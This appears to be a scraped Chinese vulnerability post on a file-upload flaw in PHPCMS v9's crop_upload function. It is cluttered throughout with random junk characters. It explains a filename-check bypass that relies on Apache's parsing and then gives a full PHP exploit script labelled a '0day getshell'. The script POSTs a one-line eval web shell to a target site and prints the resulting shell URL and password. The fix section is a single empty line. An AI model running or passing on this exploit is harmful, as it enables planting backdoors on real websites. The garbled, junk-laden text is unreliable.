漏洞类型: 文件上传导致任意代码执行
) ^7 x7 e6 O" m6 o# O, r! ?
! P+ w' \6 i, n( J7 U' V$ o3 B5 h简要描述:
2 p) D! F" W" b: l7 H8 [7 R0 t' i j4 t, S& X
phpcms v9 getshell (apache)* l% g+ |7 y7 ?5 N7 d3 v
详细说明:- y. S5 S& m! Z2 p/ W
) g6 H' N: D- ^( n: I6 j; K \漏洞文件:phpcms\modules\attachment\attachments.php* g) R1 j6 i9 }4 A
+ c7 A4 s, [$ E8 }& Hpublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
- g2 w3 H* ~5 I4 E& ^$ G2 \后缀检测:phpcms\modules\attachment\functions\global.func.php! l; o( M5 _% T7 @3 E* G$ A
. q+ z% [' k+ |" L
" G3 {2 C; B( Q6 S1 } C
+ I) z8 q, p8 k4 j1 B
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } 6 {1 L& [% N/ L1 _, `
1 g8 y8 S1 c+ s$ x6 |) D关键函数:
) T: k+ H, s3 ?2 y
0 f8 x4 }- ?! ~1 M# I . ~2 g0 J! T! l/ m8 M2 F: F" E
. m0 s7 q& P p% O1 Y, g
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
- T' d o( `0 ~$ v; E! t: Y5 x9 [- o
Fileext函数是对文件后缀名的提取。
1 I& M! I. Z. ]8 V& T根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
# x0 P! C: T( s( w6 q+ R- n" Y经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。- l7 @5 A* n9 e J1 k* x& f
我们回到public function crop_upload() 函数中8 D. a7 f1 M. F Q0 @. L, q$ c
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
+ {. d+ v* u. q/ u; R在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
9 ~) S9 X8 h, s4 V: q这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
7 `( p# @0 U H" ?. i经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
' F% L! b- z5 @* l$ s/ r. c最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
* H9 I* X. M2 y$ Z看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
3 D$ ]" Y- I* F漏洞证明:
2 U% o$ R/ g3 ^9 B" K2 x
1 S% K$ X/ j) E5 S5 Aexp:
& k' e5 w( G0 m: Y2 U! b, w" `6 k6 o& s7 t
<?php
* N2 @8 {# U, n9 i- O4 j. jerror_reporting(E_ERROR);
. y& M1 k) P4 N; X' K9 z$ eset_time_limit(0);* I/ n- s* @. T# I
$pass="ln";
2 M* Q/ i4 q/ V! tprint_r('& v2 q* Y8 _1 p
+---------------------------------------------------------------------------+" [+ w4 }2 ~# a: o
PHPCms V9 GETSHELL 0DAY
* ?* _* [8 v5 T& j6 Tcode by L.N.
$ _: n9 ]. A9 R7 i' N% d2 r# W8 M6 Y& C
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
+ K7 J' x) e( ^9 A* w0 v* g4 B5 w+---------------------------------------------------------------------------++ y3 t2 ^+ s: \9 X% _
');
' |% O9 ]) Z0 q; r3 J& M! k# |* qif ($argc < 2) {4 v5 x( |, M$ I1 z& F$ y
print_r('! l+ b0 G5 B/ }* X; {
+---------------------------------------------------------------------------+
! M1 ~4 w# i$ I# ~7 oUsage: php '.$argv[0].' url path' p T- ^$ \) T: H
- C, B0 B8 G+ ~ ^/ \: WExample:" p9 X, ` N: ~
1.php '.$argv[0].' lanu.sinaapp.com
) y5 {" C u1 |" w: ~2.php '.$argv[0].' lanu.sinaapp.com /phpcms! k& X8 J; f5 T$ O; I
+---------------------------------------------------------------------------+6 F/ ]; B7 _( i$ R0 x. K
');
+ b. f& |$ A3 _# R$ A% texit;! {4 a! U; j* I& F1 B
}- K. {# h8 ~8 [- y9 j* o
& o {# C3 X# y* ~
$url = $argv[1];
S# p! {; \7 |" P' E* u7 y1 I$path = $argv[2];
$ F! K' ]1 W/ _+ N1 `' y' @$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
1 A: T' R1 h5 K. Z) N$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';6 p5 T! S) ~2 z0 O, k: R
if($ret=Create_dir($url,$path))
" p0 G2 ?4 e( f2 ^8 ]0 ~; A{
" F3 ]& E! `# O. a9 a# ~6 X//echo $ret;' b! O; _" p! _/ F
$pattern = "|Server:[^,]+?|U";5 o' c" @8 K4 g8 X- y: `8 M' R
preg_match_all($pattern, $ret, $matches);
" t; c; M0 x) q- \" D+ lif($matches[0][0])
& U/ J* d% N! R) I: x{
8 A$ v% z% ]6 ^! o |; G. Dif(strpos($matches[0][0],'Apache') == false)
0 h9 b2 {" a; Q( P1 i{* ^- ] ?% w+ d( i
echo "\n亲!此网站不是apache的网站。\n";exit;
- [5 m8 N" }4 u8 m0 N0 x}
d7 i0 M4 k3 D, S s+ L" a) A( h}
5 `$ e) }/ I5 v& H" h) n" p$ret = GetShell($url,$phpshell,$path,$file);
/ G4 q3 G' P; a4 a5 y$pattern = "|http:\/\/[^,]+?\.,?|U";
8 ~8 S6 h8 w! g% y5 Rpreg_match_all($pattern, $ret, $matches);$ q" ?4 W& x' j& s' X
if($matches[0][0])
1 k4 ]# P) `, X K{
' ^ c' A. z2 W$ y1 e; decho "\n".'密码为: '.$pass."\n";1 s3 Q9 b2 `8 {" h
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
6 F$ Q% h* K* K& B# C& f+ M}6 ~7 y+ ]* O4 O5 N% w4 i
else
$ S/ O) M# ~, \& P9 b{
4 g: c4 Z/ b/ A' {# ^% u$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
7 Y3 }, A5 K+ S# p8 [preg_match_all($pattern, $ret, $matches);
^: ~8 E, k; z+ n* ?if($matches[0][0])
! N: U+ u4 e5 e0 ?{
6 {1 V) |6 Q# f6 n: }( R+ yecho "\n".'密码为: '.$pass."\n";
3 E2 W2 p. i; S0 m: Vecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;0 g6 X) ], [- G# v
}1 t Q, F6 _. z
else
* a! C. K) u3 c& q{% p+ e7 C( T* y9 Y! o
echo "\r\n没得到!\n";exit;
3 i% U7 s5 ^2 W ?- |}
1 S8 v4 L4 J+ m1 |9 ]$ @+ l}
" }- q4 ], U6 K9 k8 M}
2 M. t! T0 \$ P, ^
4 u& H7 h* M- I7 @$ r0 j7 T) [. dfunction GetShell($url,$shell,$path,$js)
. ^, ~2 @: `( B- ?# ?& k{
$ S7 Q' y) ?- V3 l& U3 b5 H5 `$content =$shell;
! }) a# K0 r4 |: N8 L7 @$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
. {" D7 X C5 s; T$data .= "Host: ".$url."\r\n";- o7 e7 V! ~5 b, a$ d+ b0 @# M8 ?' w
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";* n5 F& H ?$ w% m# Y$ u6 i
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
' f% F7 m7 D. ~$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";* E6 N. m+ Y& Y8 t( O( U2 ?
$data .= "Connection: close\r\n";& ]- b& k( W3 [
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";& U: Y2 ]3 Y- l; p d5 j
$data .= $content."\r\n";$ @/ p7 e' z. `1 H7 R& E, ~
$ock=fsockopen($url,80);
9 N) P, E9 w6 c! U5 m( l4 cif (!$ock)( J1 a9 U6 g3 _/ w( s
{1 F/ d% d1 k1 {" o# [4 ^
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;8 d3 v( K1 e2 q3 T) L
}3 @, c& g* F: |3 X0 {/ v3 b
else7 k) e# x5 O. q8 U5 C9 y
{
" d5 r6 [3 Q i$ cfwrite($ock,$data);7 G: t: U, a* s- ]0 o* x- P! H
$resp = '';
. D$ F2 i2 W0 V1 Q$ [$ Jwhile (!feof($ock))
; ?9 ^& w, |# h6 ]# Z; \8 b{
( u' C' W( b1 S' [9 X$resp.=fread($ock, 1024);: j# `, S, n; x. M7 {& n$ L
}
; J" g7 v* u7 |$ o7 zreturn $resp;
4 n0 ` ?, B2 c9 d; f}4 w o* f8 S: t
}
7 f& g9 v% ]$ w/ I/ }8 t" E7 `& [
function Create_dir($url,$path='')( u% {$ X$ x0 }+ m% t N1 `' C/ Q
{; _& t' P$ h! Z; l! j$ Y3 L" Q. V8 X
$content ='I love you';
! N W6 l: p- V, Y# @/ v$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
! |0 c' l2 y2 F! Z9 s$data .= "Host: ".$url."\r\n";
" F. k. z8 O1 U/ |$ V$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
9 @; K% r( L+ _- T. c$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";! |$ I5 I6 x `: B
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
+ w4 X7 v, \/ }; u9 {( r& j" U6 n2 K2 Q$data .= "Connection: close\r\n";, y7 \: |+ M4 ^0 b
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";+ X3 o# P6 E: E* b; `0 `
$data .= $content."\r\n";
3 _! W, w- R, d$ock=fsockopen($url,80);, r3 \$ Y* Z# O, Z9 i8 B
if (!$ock)5 |1 ?5 l3 {; C/ e
{
$ ]5 N# ?! Z! u# \" l) r9 L& @echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
/ h/ u7 J: j% b% Z" e3 h}
5 W/ a+ L6 ]' X: Nfwrite($ock,$data);4 z+ K. K" ?( [. c }+ y8 e
$resp = '';
2 z! | b) m1 Awhile (!feof($ock))$ f& m: C! ?0 e! K# n# A
{' H \' k- Z# q
$resp.=fread($ock, 1024);
; Z$ [9 ?0 [4 A" X$ k0 H}7 D/ T! Z/ @' G' G
return $resp;
% t' G' j2 @! _. H1 Z}
) x: W- {! c8 G* J?> 2 o5 V% ~, P3 S4 R
7 D3 D) Q0 Z- W修复方案:
# K2 J2 F* {( P
$ M2 B( Y$ o5 J3 C& R7 r过滤过滤再过滤
7 c/ `8 F% D. f1 e
# f: f, Z) G- G" p4 x( b. F |